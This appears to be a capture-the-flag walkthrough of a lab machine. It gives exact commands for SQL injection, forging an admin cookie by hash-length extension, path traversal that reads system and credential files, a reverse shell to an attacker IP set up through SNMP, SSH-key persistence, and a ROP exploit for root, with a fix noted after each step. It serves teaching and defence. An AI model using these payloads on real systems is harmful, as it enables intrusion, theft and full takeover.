Intense
Summary
I discovered that the target's Flask web application served its complete Python source code in a public archive, immediately exposing a home-grown session-token scheme using SHA256(SECRET+data), vulnerable to hash-length extension, and a SQL injection endpoint defended only by a short keyword blocklist. Scripted boolean-blind injection extracted the administrator's 64-hex-char secret, which was fed to hashpumpy to forge a valid admin cookie. With admin access, an unrestricted path-traversal endpoint read the server's SNMP configuration and recovered a read-write community string.
That string was used to register an arbitrary shell command via the NET-SNMP-EXTEND-MIB, obtaining a reverse shell as the debian-snmp service account. After persisting an SSH authorized key for a stable session and forwarding the internally-bound note server, a custom binary running as root was exploited via an out-of-bounds array copy that leaked the stack canary, PIE base, and libc address in one round trip; a ROP chain calling dup2 and execve over the forwarded socket then yielded a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<pubkey>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Full service-version fingerprint; http-enum probes common paths including /src.zip.
$ nmap -Pn -sV -p 22,80 --script http-title,http-headers,http-enum $TARGETConfirm server header and identify framework hints in response.
$ curl -sI http://$TARGET/Exact commands 2
Download and extract the application source.
$ curl -s -o src.zip http://$TARGET/src.zip && unzip src.zip -d flask_srcSurface the three exploitable patterns: hash construction, session parser, SQLi blocklist.
$ grep -n 'sha256\|SECRET\|parse_session\|badword\|load_extension' flask_src/lwt.py flask_src/utils.py flask_src/app.py flask_src/admin.pyFixRemove the application source-code archive from the public web rootCritical
Exact commands 3
Authenticate as guest and save the auth cookie to /tmp/gc.txt.
$ curl -s -c /tmp/gc.txt -X POST -d 'username=guest&password=guest' http://$TARGET/postloginSingle-position oracle test: 'OK' confirms position 1 is 'f'. Iterate n=1..64 and x over hex chars 48-57,97-102 in a loop.
$ curl -s -b /tmp/gc.txt -X POST --data-urlencode "message=' and case when (SUBSTR((select secret from user where username='admin'),1,1)=CHAR(102)) then 1 else load_extension(1) end)-- -" http://$TARGET/submitmessageFull extraction script: loops SUBSTR(secret,n,1)=CHAR(x) for all 64 positions. Expected output: <withheld>
$ python3 sqli.py $TARGETFixParameterize all database queries to eliminate SQL injectionCritical
Exact commands 2
Install hashpumpy if not already available.
$ pip install hashpumpy --break-system-packagesForge.py core: for klen in range(8,15): new_hash,new_data=hashpumpy.hashpump(guest_hash,guest_data,';username=admin;secret=<new_hash>;',klen); r=requests.get('/admin',cookies={'auth':new_data+'.'+new_hash}); if r.status_code==200: save and break. Writes winning cookie to /tmp/admincookie.txt.
$ python3 forge.py $TARGET /tmp/gc.txtFixReplace the custom SHA256-keyed session token with HMAC or a standard session libraryCritical
Exact commands 3
Read SNMP config: locate 'rwcommunity' line for the write community string.
$ C=$(cat /tmp/admincookie.txt); curl -s -b "auth=$C" -X POST --data-urlencode 'logfile=../../../../../../etc/snmp/snmpd.conf' http://$TARGET/admin/log/viewRead user flag: returns <user.txt>.
$ C=$(cat /tmp/admincookie.txt); curl -s -b "auth=$C" -X POST --data-urlencode 'logfile=../../../../../../home/user/user.txt' http://$TARGET/admin/log/viewEnumerate system accounts to locate service-account home directories.
$ C=$(cat /tmp/admincookie.txt); curl -s -b "auth=$C" -X POST --data-urlencode 'logfile=../../../../../../etc/passwd' http://$TARGET/admin/log/viewFixCanonicalize file paths in the admin log viewer and restrict the web process to its own filesHigh
Exact commands 3
Start reverse-shell listener on my machine before triggering.
$ nc -lvnp 4444Register the reverse-shell command. Replace <LHOST> with $ATTACKER_IP.
$ snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c $PASSWORD $TARGET 'nsExtendStatus."shell"' i createAndGo 'nsExtendCommand."shell"' s /bin/bash 'nsExtendArgs."shell"' s '-c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1 &"'Walk the extend subtree to trigger execution of all registered extensions.
$ snmpwalk -v2c -c $PASSWORD $TARGET nsExtendExecTypeFixDisable SNMP write access and remove the NET-SNMP extension MIBCritical
Exact commands 4
Generate SSH key pair on my machine.
$ ssh-keygen -t ed25519 -f /tmp/htb_key -N ''Run on the debian-snmp reverse shell. Replace <pubkey> with contents of /tmp/htb_key.pub.
$ mkdir -p /var/lib/snmp/.ssh && echo "<pubkey>" >> /var/lib/snmp/.ssh/authorized_keys && chmod 700 /var/lib/snmp/.ssh && chmod 600 /var/lib/snmp/.ssh/authorized_keysStable SSH session that simultaneously forwards the internal note server to localhost:5001.
$ ssh -i /tmp/htb_key -L 5001:127.0.0.1:5001 debian-snmp@$TARGETFetch the binary for local analysis with gdb and pwntools.
$ scp -i /tmp/htb_key debian-snmp@$TARGET:/usr/local/bin/note_server ./note_serverExact commands 3
Verify full mitigations: Full RELRO, PIE enabled, NX, stack canary, all present.
$ file note_server && checksec --file=note_serverPwntools exploit targeting 127.0.0.1:5001. Flow: (1) send opcode=2, index=1024 to leak canary+PIE from OOB response; (2) PIE base = leaked_val - 0xf54; (3) second OOB read against GOT entry to derive libc base; (4) send overflow with ROP: dup2(4,0); dup2(4,1); execve('/bin/sh',0,0). Fork-per-connection preserves ASLR across the leak and exploit rounds.
$ python3 exploit.pyExecute in the resulting root shell: returns <root.txt>.
$ cat /root/root.txtFixFix the out-of-bounds index in note_server's copy opcode and run the service as an unprivileged accountCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |